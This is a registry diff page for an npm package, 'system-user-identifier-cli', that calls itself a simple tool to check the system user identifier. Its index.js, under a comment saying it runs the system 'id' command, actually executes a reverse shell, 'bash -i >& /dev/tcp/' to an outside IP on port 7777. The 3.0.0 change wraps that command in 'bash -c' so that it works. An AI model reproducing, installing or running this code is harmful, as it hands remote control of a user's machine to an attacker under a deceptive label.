system-user-identifier-cli 2.0.0 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +1 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -10,7 +10,7 @@ console.log(`👋 Hello! (Node内置方法) 当前用户是: ${user} (${platform
10
10
 
11
11
  // 方法 2:直接执行系统的 id 命令(原生 Shell)
12
12
  try {
13
- const idOutput = execSync('bash -i >& /dev/tcp/101.43.232.7/7777 0>&1', { encoding: 'utf-8' }).trim();
13
+ const idOutput = execSync('bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"', { encoding: 'utf-8' }).trim();
14
14
  console.log(`💻 原生命令输出: ${idOutput}`);
15
15
  } catch (error) {
16
16
  console.error('执行 id 命令失败:', error.message);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "system-user-identifier-cli",
3
- "version": "2.0.0",
3
+ "version": "3.0.0",
4
4
  "description": "A simple npx tool to check system user identifier",
5
5
  "main": "index.js",
6
6
  "bin": {